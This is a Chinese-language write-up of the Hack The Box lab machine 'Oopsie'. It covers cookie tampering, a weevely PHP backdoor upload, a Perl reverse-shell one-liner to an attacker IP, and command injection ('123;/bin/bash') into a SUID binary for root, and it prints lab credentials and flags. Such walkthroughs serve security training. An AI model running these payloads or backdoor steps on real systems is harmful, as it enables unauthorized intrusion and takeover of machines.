HTB-Oopsie
正文
User
扫一下端口趴
sudo nmap -sS -A -Pn 10.10.10.28
这个有个80端口开放着尝试访问一下网站,发现了一个登录入口
上sqlmap打一下,当然不用尝试了,打了一下午没打通,dirseacrh也没有什么结果,查了wp才知道这里的密码跟上一题通用的:admin,MEGACORP_4dm1n!! (实属吐血,)
sqlmap -u http://10.10.10.28/cdn-cgi/login/ --data "username=123&password=123" --dbs --tables --columns --os-shell
登录后提示要用super admin的权限才能进行下一步,如何用超级管理员登录?这里想到的是用它的cookie,查看当前的cookie
只用两个cookie而且还是明文传输的,这里的user的值与Access ID一样,回到这个页面,观察到它的 URL:http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1,其中有很可疑的参数 id=1(来了该死的玄学)
把这个id丢到burp中爆破一下,到30的时候出现了超级用户的role:86575
修改cookie后成功上来,看到一个上传,试试可以不可以传一个后门
后门用的是weely生成的 :weevely generate laolao back.php
lao@laolao:~/桌面$ weevely [+] weevely 4.0.1 [!] Error: the following arguments are required: url, password [+] Run terminal or command on the target weevely <URL> <password> [cmd] [+] Recover an existing session weevely session <path> [cmd] [+] Generate new agent weevely generate <password> <path> lao@laolao:~/桌面$ weevely generate laolao back.php Generated 'index.php' with password 'laolao' of 751 byte size. lao@laolao:~/桌面$
上传后,在/home里面找到了第一份flag,但是后门总是被删,这一点比较烦
lao@laolao:~/桌面$ weevely http://10.10.10.28/uploads/back.php laolao [+] weevely 4.0.1 [+] Target: www-data@oopsie:/var/www/html/uploads [+] Session: /home/lao/.weevely/sessions/10.10.10.28/back_0.session [+] Shell: System shell [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> www-data@oopsie:/var/www/html/uploads $ cd www-data@oopsie:/ $ cd home www-data@oopsie:/home $ ls robert www-data@oopsie:/home $ cd robert www-data@oopsie:/home/robert $ ls user.txt www-data@oopsie:/home/robert $ cat user.txt f2c74ee8db7983851ab2a96a44eb7981 www-data@oopsie:/home/robert $
System
然后逛一逛整个网站,在db.php中发现了另一个用户robert和他的密码:M3g4C0rpUs3r!
www-data@oopsie:/var/www/html/cdn-cgi $ www-data@oopsie:/var/www/html/cdn-cgi $ cd login www-data@oopsie:/var/www/html/cdn-cgi/login $ ls admin.php db.php index.php script.js www-data@oopsie:/var/www/html/cdn-cgi/login $ cat db.php <?php $conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage'); ?> www-data@oopsie:/var/www/html/cdn-cgi/login $ su robert su: must be run from a terminal
weevely中不可以切换用户,于是想到反弹shell,我选择的是Perl来反弹,这个的成功率高一点,payload如下:
perl -e 'use Socket;$i="10.10.14.115";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
直接丢到weevely中执行以下,另一边nc开启监听,得到的反弹shell要把它转换成一个交互式shell才能切换用户(设置shell为/bin/bash,script 命令可以用作交互终端会话过程的记录,保留用户输入和系统输出的全过程。-q 是静默执行 把会话内容丢到黑洞/dev/null):
SHELL=/bin/bash script -q /dev/null
在查看Robert用户的属性时发现了一个特殊的用户组:bugtracker,检查一下,发现了一个:cat /root/reports/,可以有root的权限,访问root用户的文件夹!!!
robert@oopsie:/var/www/html/cdn-cgi/login$ id
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
robert@oopsie:/var/www/html/cdn-cgi/login$ strings /usr/bin/bugtracker strings /usr/bin/bugtracker /lib64/ld-linux-x86-64.so.2 ..... ------------------ : EV Bug Tracker : ------------------ Provide Bug ID: --------------- cat /root/reports/ ;*3$" GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0 ........
那么就做一个指令叠加获得root的shell:123;/bin/bash
robert@oopsie:/var/www/html/cdn-cgi/login$ bugtracker bugtracker ------------------ : EV Bug Tracker : ------------------ Provide Bug ID: 123;/bin/bash 123;/bin/bash --------------- cat: /root/reports/123: No such file or directory root@oopsie:/var/www/html/cdn-cgi/login# cd /root cd /root root@oopsie:/root# ls ls reports root.txt root@oopsie:/root# cat root.txt cat root.txt af13b0bee69f8a877c3faf667f7beacf
参考
https://brucetg.github.io/2018/05/03/%E5%A4%9A%E7%A7%8D%E5%A7%BF%E5%8A%BF%E5%8F%8D%E5%BC%B9shell/